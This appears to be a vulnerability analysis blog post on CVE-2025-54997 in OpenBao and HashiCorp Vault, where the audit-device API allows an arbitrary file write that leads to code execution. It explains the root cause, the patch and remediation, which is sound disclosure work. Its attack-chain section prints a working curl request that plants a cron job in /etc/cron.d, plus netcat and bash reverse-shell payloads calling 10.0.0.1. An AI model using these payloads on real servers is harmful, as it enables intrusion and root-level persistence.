A high-privilege RCE vulnerability (CVSS 9.1) allows operators to turn the audit logging system into an arbitrary file write primitive. By pointing a 'file' audit device at a sensitive path (like `/etc/cron.d`) and injecting a malicious 'prefix', attackers can execute code as the Vault/OpenBao service user. The fix involves disabling API-based audit configuration entirely.
OpenBao and HashiCorp Vault, the literal Fort Knoxes of the DevOps world, suffered a catastrophic logic flaw in their audit subsystems. By abusing the ability to configure audit devices via API, privileged attackers could trick the system into writing malicious code directly to the host filesystem.
We like to think of HashiCorp Vault and its open-source fork, OpenBao, as impenetrable black boxes. You put secrets in, you get secrets out, and nothing else happens. But security appliances suffer from a unique paradox: to be useful, they must be observable. They need to generate logs.
In the world of high-security compliance, audit logs are king. You need to know who accessed the database credentials at 3 AM. To facilitate this, OpenBao exposes the sys/audit API endpoint. This endpoint allows administrators to define where logs go. You can send them to a socket, a syslog daemon, or—crucially—a file on the local disk.
This feature was designed with flexibility in mind. You, the admin, define the file path. You, the admin, can even define a custom string prefix to tag the logs. It sounds innocent enough. It’s just logging, right? How dangerous can a text file be?
As it turns out, very. CVE-2025-54997 isn't a memory corruption bug or a buffer overflow. It is a logical failure to realize that if you let a user write arbitrary text to an arbitrary file, you have given them a loaded gun.
The vulnerability relies on two specific configuration options available when enabling a file audit device via the API: file_path and prefix.
The file_path option tells OpenBao where to write the log file. The application historically assumed that if you had permissions to configure the audit backend, you were trusted enough not to point it at /etc/passwd or /bin/ls. That was the first mistake.
The second mistake was the prefix option. This allows an operator to prepend a custom string to every single log line. The intention was likely to help Splunk parsers distinguish between different audit streams. The reality is that it gave attackers a way to inject unstructured data into the file stream.
When you combine these, you get a classic primitive: Arbitrary File Write with Controlled Content.
The code didn't validate that the file_path was safe (i.e., inside a log directory). Nor did it sanitize the prefix to ensure it didn't contain newlines or shell metacharacters. It just took the user's input and started appending data to the filesystem.
The fix for this vulnerability is effectively a confession that the feature was too dangerous to exist in its current form. Instead of trying to build a complex blacklist of bad file paths (which is always bypassable), the maintainers decided to nuke the functionality from orbit.
In OpenBao PR #1634, the developers introduced two boolean flags in the server configuration (config.hcl):
unsafe_allow_api_audit_creation: Defaulting to false. This kills the ability to create audit devices via the REST API entirely.allow_audit_log_prefixing: Defaulting to false. This specifically blocks the dangerous prefix parameter.Here is the logic added to vault/logical_system.go. It's brutally simple:
// Loading the server configuration
conf := b.Core.rawConfig.Load().(*server.Config)
// Check 1: Is the API allowed to create audit devices?
if !conf.UnsafeAllowAPIAuditCreation {
return handleError(fmt.Errorf("cannot enable audit device via API"))
}
// Check 2: Is the user trying to set a prefix?
if _, hasPrefix := options["prefix"]; hasPrefix && !conf.AllowAuditLogPrefixing {
return handleError(fmt.Errorf("audit log prefixing is not allowed"))
}Previously, this code would just pass the options map directly to the backend factory. Now, it acts as a gatekeeper. By moving audit configuration to the static config.hcl file (which requires root access to the host to edit), they enforce a higher privilege requirement for these dangerous actions.
Let's put on our black hats. We have a compromised Vault/OpenBao token with sys/audit permissions. We want a shell on the underlying server. Since most Vault instances run on Linux, cron is our best friend.
Here is the attack chain:
/etc/cron.d/malicious. Files in this directory are automatically read by the system cron daemon to schedule tasks.prefix field.Our malicious payload looks like this:
* * * * * root /usr/bin/nc -e /bin/sh 10.0.0.1 1337 #
curl --header "X-Vault-Token: $ROOT_TOKEN" \
--request POST \
--data '{
"type": "file",
"options": {
"file_path": "/etc/cron.d/pwned",
"prefix": "\n* * * * * root bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\" #"
}
}' \
http://127.0.0.1:8200/v1/sys/audit/exploitTrigger: We simply make any request to the Vault. vault read sys/health is enough. The system logs this request to /etc/cron.d/pwned. Because of our prefix, the file content starts with our cron job, followed by the JSON log data (commented out by the #).
Execution: The cron daemon sees the new file, parses the line, and executes our reverse shell as root (or the Vault user, depending on permissions). Game over.
You might argue, "If I have a root token for Vault, I already own your secrets, so who cares about the underlying server?"
That's a dangerous misconception. Access to the data (secrets) is not the same as access to the infrastructure.
/usr/bin/ via this vulnerability persists even after you rotate every credential in the vault.This vulnerability bridges the gap between "Application Administrator" and "System Administrator."
If you are running OpenBao < 2.3.2 or Vault < 1.20.1, you are vulnerable. The patch doesn't just fix a bug; it changes the operational model.
Immediate Remediation:
Upgrade to the patched versions. Once upgraded, the API endpoint for creating audit devices is disabled by default. If your deployment scripts rely on curl to set up audit logs, they will break. You need to refactor your deployment to define audit devices in the server's HCL configuration file.
Defense in Depth:
Even with the patch, you should restrict the Vault/OpenBao service user. Why does the Vault user have write access to /etc/cron.d/? It shouldn't. Run Vault with a dedicated user, use chroot or containerization, and employ AppArmor/SELinux profiles that forbid writing to sensitive system paths. If the service couldn't write to /etc/cron.d, this exploit would be dead in the water.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenBao OpenBao | < 2.3.2 | 2.3.2 |
Vault Community Edition HashiCorp | < 1.20.1 | 1.20.1 |
Vault Enterprise HashiCorp | < 1.19.7 | 1.19.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| Attack Vector | Network (API) |
| CVSS Score | 9.1 (Critical) |
| Privileges Required | High (Audit Write) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Conceptual / Weaponizable |
Improper Control of Generation of Code ('Code Injection')
Get the latest CVE analysis reports delivered to your inbox.